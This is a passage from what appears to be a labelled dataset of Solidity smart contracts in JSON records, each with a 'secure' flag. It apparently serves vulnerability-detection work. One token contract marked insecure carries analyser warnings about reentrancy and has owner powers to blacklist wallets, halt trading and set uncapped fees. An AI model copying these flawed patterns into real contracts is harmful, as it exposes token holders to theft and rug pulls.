returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1d4b41c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1d4b41c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 51c0d1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 51c0d1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1d4b41c\n\t\t// reentrancy-benign | ID: 51c0d1a\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1d4b41c\n\t\t// reentrancy-benign | ID: 51c0d1a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3fbda2a): Shiba3._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3fbda2a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 51c0d1a\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1d4b41c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6f5f81f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6f5f81f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6ae9fa0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6ae9fa0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 127e59f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 127e59f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 6f5f81f\n\t\t\t\t// reentrancy-benign | ID: 6ae9fa0\n\t\t\t\t// reentrancy-eth | ID: 127e59f\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6f5f81f\n\t\t\t\t\t// reentrancy-eth | ID: 127e59f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 6ae9fa0\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 6ae9fa0\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 6ae9fa0\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 6ae9fa0\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 6f5f81f\n\t\t// reentrancy-benign | ID: 6ae9fa0\n\t\t// reentrancy-eth | ID: 127e59f\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 6f5f81f\n\t\t// reentrancy-events | ID: 1d4b41c\n\t\t// reentrancy-benign | ID: 51c0d1a\n\t\t// reentrancy-benign | ID: 6ae9fa0\n\t\t// reentrancy-eth | ID: 127e59f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6f5f81f\n\t\t// reentrancy-events | ID: 1d4b41c\n\t\t// reentrancy-eth | ID: 127e59f\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 127e59f\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 127e59f\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 6f5f81f\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 127e59f\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 127e59f\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 6ae9fa0\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ef0ec55): Missing events for critical arithmetic parameters.\n\t// Recommendation for ef0ec55: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: ef0ec55\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: ef0ec55\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: ef0ec55\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: ef0ec55\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3ce6203): Shiba3.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 3ce6203: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 3ce6203\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_2133.sol",
"secure": 0,
"size_bytes": 19364
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721 {\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 indexed _tokenId\n );\n\n event Approval(\n address indexed _owner,\n address indexed _approved,\n uint256 indexed _tokenId\n );\n\n event ApprovalForAll(\n address indexed _owner,\n address indexed _operator,\n bool _approved\n );\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes calldata _data\n ) external;\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external;\n\n function approve(address _approved, uint256 _tokenId) external;\n\n function setApprovalForAll(address _operator, bool _approved) external;\n\n function balanceOf(address _owner) external view returns (uint256);\n\n function ownerOf(uint256 _tokenId) external view returns (address);\n\n function getApproved(uint256 _tokenId) external view returns (address);\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view returns (bool);\n}",
"file_name": "solidity_code_2134.sol",
"secure": 1,
"size_bytes": 1370
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721Metadata {\n function name() external view returns (string memory _name);\n\n function symbol() external view returns (string memory _symbol);\n\n function tokenURI(uint256 _tokenId) external view returns (string memory);\n}",
"file_name": "solidity_code_2135.sol",
"secure": 1,
"size_bytes": 311
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary AddressUtils {\n function isContract(\n address _addr\n ) internal view returns (bool addressCheck) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n assembly {\n codehash := extcodehash(_addr)\n }\n addressCheck = (codehash != 0x0 && codehash != accountHash);\n }\n}",
"file_name": "solidity_code_2136.sol",
"secure": 1,
"size_bytes": 465
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC165 {\n function supportsInterface(\n bytes4 _interfaceID\n ) external view returns (bool);\n}",
"file_name": "solidity_code_2137.sol",
"secure": 1,
"size_bytes": 182
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721TokenReceiver {\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes calldata _data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_2138.sol",
"secure": 1,
"size_bytes": 271
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\n\ncontract SupportsInterface is ERC165 {\n mapping(bytes4 => bool) internal supportedInterfaces;\n\n constructor() {\n supportedInterfaces[0x01ffc9a7] = true;\n }\n\n function supportsInterface(\n bytes4 _interfaceID\n ) external view override returns (bool) {\n return supportedInterfaces[_interfaceID];\n }\n}",
"file_name": "solidity_code_2139.sol",
"secure": 1,
"size_bytes": 488
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}",
"file_name": "solidity_code_214.sol",
"secure": 1,
"size_bytes": 1844
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./SupportsInterface.sol\" as SupportsInterface;\nimport \"./AddressUtils.sol\" as AddressUtils;\nimport \"./ERC721TokenReceiver.sol\" as ERC721TokenReceiver;\n\ncontract NFToken is ERC721, SupportsInterface {\n using AddressUtils for address;\n\n string constant ZERO_ADDRESS = \"003001\";\n string constant NOT_VALID_NFT = \"003002\";\n string constant NOT_OWNER_OR_OPERATOR = \"003003\";\n string constant NOT_OWNER_APPROVED_OR_OPERATOR = \"003004\";\n string constant NOT_ABLE_TO_RECEIVE_NFT = \"003005\";\n string constant NFT_ALREADY_EXISTS = \"003006\";\n string constant NOT_OWNER = \"003007\";\n string constant IS_OWNER = \"003008\";\n\n bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;\n\n mapping(uint256 => address) internal idToOwner;\n\n mapping(uint256 => address) internal idToApproval;\n\n mapping(address => uint256) private ownerToNFTokenCount;\n\n mapping(address => mapping(address => bool)) internal ownerToOperators;\n\n modifier canOperate(uint256 _tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(\n tokenOwner == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_OR_OPERATOR\n );\n _;\n }\n\n modifier canTransfer(uint256 _tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(\n tokenOwner == msg.sender ||\n idToApproval[_tokenId] == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_APPROVED_OR_OPERATOR\n );\n _;\n }\n\n modifier validNFToken(uint256 _tokenId) {\n require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);\n _;\n }\n\n constructor() {\n supportedInterfaces[0x80ac58cd] = true;\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes calldata _data\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, _data);\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, \"\");\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override canTransfer(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(tokenOwner == _from, NOT_OWNER);\n require(_to != address(0), ZERO_ADDRESS);\n\n _transfer(_to, _tokenId);\n }\n\n function approve(\n address _approved,\n uint256 _tokenId\n ) external override canOperate(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(_approved != tokenOwner, IS_OWNER);\n\n idToApproval[_tokenId] = _approved;\n emit Approval(tokenOwner, _approved, _tokenId);\n }\n\n function setApprovalForAll(\n address _operator,\n bool _approved\n ) external override {\n ownerToOperators[msg.sender][_operator] = _approved;\n emit ApprovalForAll(msg.sender, _operator, _approved);\n }\n\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n require(_owner != address(0), ZERO_ADDRESS);\n return _getOwnerNFTCount(_owner);\n }\n\n function ownerOf(\n uint256 _tokenId\n ) external view override returns (address _owner) {\n _owner = idToOwner[_tokenId];\n require(_owner != address(0), NOT_VALID_NFT);\n }\n\n function getApproved(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (address) {\n return idToApproval[_tokenId];\n }\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view override returns (bool) {\n return ownerToOperators[_owner][_operator];\n }\n\n function _transfer(address _to, uint256 _tokenId) internal {\n address from = idToOwner[_tokenId];\n _clearApproval(_tokenId);\n\n _removeNFToken(from, _tokenId);\n _addNFToken(_to, _tokenId);\n\n emit Transfer(from, _to, _tokenId);\n }\n\n function _mint(address _to, uint256 _tokenId) internal virtual {\n require(_to != address(0), ZERO_ADDRESS);\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n _addNFToken(_to, _tokenId);\n\n emit Transfer(address(0), _to, _tokenId);\n }\n\n function _burn(uint256 _tokenId) internal virtual validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n _clearApproval(_tokenId);\n _removeNFToken(tokenOwner, _tokenId);\n emit Transfer(tokenOwner, address(0), _tokenId);\n }\n\n function _removeNFToken(address _from, uint256 _tokenId) internal virtual {\n require(idToOwner[_tokenId] == _from, NOT_OWNER);\n ownerToNFTokenCount[_from] -= 1;\n delete idToOwner[_tokenId];\n }\n\n function _addNFToken(address _to, uint256 _tokenId) internal virtual {\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n idToOwner[_tokenId] = _to;\n ownerToNFTokenCount[_to] += 1;\n }\n\n function _getOwnerNFTCount(\n address _owner\n ) internal view virtual returns (uint256) {\n return ownerToNFTokenCount[_owner];\n }\n\n function _safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory _data\n ) private canTransfer(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(tokenOwner == _from, NOT_OWNER);\n require(_to != address(0), ZERO_ADDRESS);\n\n _transfer(_to, _tokenId);\n\n if (_to.isContract()) {\n bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(\n msg.sender,\n _from,\n _tokenId,\n _data\n );\n require(\n retval == MAGIC_ON_ERC721_RECEIVED,\n NOT_ABLE_TO_RECEIVE_NFT\n );\n }\n }\n\n function _clearApproval(uint256 _tokenId) private {\n delete idToApproval[_tokenId];\n }\n}",
"file_name": "solidity_code_2140.sol",
"secure": 1,
"size_bytes": 6499
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFToken.sol\" as NFToken;\nimport \"./ERC721Metadata.sol\" as ERC721Metadata;\n\ncontract NFTokenMetadata is NFToken, ERC721Metadata {\n string internal nftName;\n\n string internal nftSymbol;\n\n mapping(uint256 => string) internal idToUri;\n\n constructor() {\n supportedInterfaces[0x5b5e139f] = true;\n }\n\n function name() external view override returns (string memory _name) {\n _name = nftName;\n }\n\n function symbol() external view override returns (string memory _symbol) {\n _symbol = nftSymbol;\n }\n\n function tokenURI(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (string memory) {\n return idToUri[_tokenId];\n }\n\n function _burn(uint256 _tokenId) internal virtual override {\n super._burn(_tokenId);\n\n delete idToUri[_tokenId];\n }\n\n function _setTokenUri(\n uint256 _tokenId,\n string memory _uri\n ) internal validNFToken(_tokenId) {\n idToUri[_tokenId] = _uri;\n }\n}",
"file_name": "solidity_code_2141.sol",
"secure": 1,
"size_bytes": 1116
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n string public constant NOT_CURRENT_OWNER = \"018001\";\n string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = \"018002\";\n\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, NOT_CURRENT_OWNER);\n _;\n }\n\n function transferOwnership(address _newOwner) public onlyOwner {\n require(_newOwner != address(0), CANNOT_TRANSFER_TO_ZERO_ADDRESS);\n emit OwnershipTransferred(owner, _newOwner);\n owner = _newOwner;\n }\n}",
"file_name": "solidity_code_2142.sol",
"secure": 1,
"size_bytes": 762
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadata.sol\" as NFTokenMetadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NewNFT is NFTokenMetadata, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: da67832): newNFT.numTokens should be constant \n\t// Recommendation for da67832: Add the 'constant' attribute to state variables that never change.\n uint256 internal numTokens = 20000;\n constructor() {\n nftName = \"MemeCalf-NFT\";\n nftSymbol = \"MemeCalf\";\n }\n\n function mint(\n address _to,\n uint256 _tokenId,\n string calldata _uri\n ) external onlyOwner {\n super._mint(_to, _tokenId);\n super._setTokenUri(_tokenId, _uri);\n }\n function totalSupply() public view returns (uint256) {\n return numTokens;\n }\n}",
"file_name": "solidity_code_2143.sol",
"secure": 1,
"size_bytes": 881
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ANAL is ERC20 {\n constructor() ERC20(\"Penetration\", \"ANAL\") {\n _mint(msg.sender, 150000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2144.sol",
"secure": 1,
"size_bytes": 278
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IERC1155 is IERC165 {\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 value\n );\n\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n event ApprovalForAll(\n address indexed account,\n address indexed operator,\n bool approved\n );\n\n event URI(string value, uint256 indexed id);\n\n function balanceOf(\n address account,\n uint256 id\n ) external view returns (uint256);\n\n function balanceOfBatch(\n address[] calldata accounts,\n uint256[] calldata ids\n ) external view returns (uint256[] memory);\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function isApprovedForAll(\n address account,\n address operator\n ) external view returns (bool);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}",
"file_name": "solidity_code_2145.sol",
"secure": 1,
"size_bytes": 1536
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IERC1155Receiver is IERC165 {\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_2146.sol",
"secure": 1,
"size_bytes": 588
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC1155.sol\" as IERC1155;\n\ninterface IERC1155MetadataURI is IERC1155 {\n function uri(uint256 id) external view returns (string memory);\n}",
"file_name": "solidity_code_2147.sol",
"secure": 1,
"size_bytes": 250
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC1155.sol\" as IERC1155;\nimport \"@openzeppelin/contracts/interfaces/IERC1155MetadataURI.sol\" as IERC1155MetadataURI;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC1155Receiver.sol\" as IERC1155Receiver;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\n using Address for address;\n\n mapping(uint256 => mapping(address => uint256)) private _balances;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n string private _uri;\n\n constructor(string memory uri_) {\n _setURI(uri_);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC1155).interfaceId ||\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function uri(uint256) public view virtual override returns (string memory) {\n return _uri;\n }\n\n function balanceOf(\n address account,\n uint256 id\n ) public view virtual override returns (uint256) {\n require(\n account != address(0),\n \"ERC1155: address zero is not a valid owner\"\n );\n return _balances[id][account];\n }\n\n function balanceOfBatch(\n address[] memory accounts,\n uint256[] memory ids\n ) public view virtual override returns (uint256[] memory) {\n require(\n accounts.length == ids.length,\n \"ERC1155: accounts and ids length mismatch\"\n );\n\n uint256[] memory batchBalances = new uint256[](accounts.length);\n\n for (uint256 i = 0; i < accounts.length; ++i) {\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\n }\n\n return batchBalances;\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address account,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[account][operator];\n }\n\n function 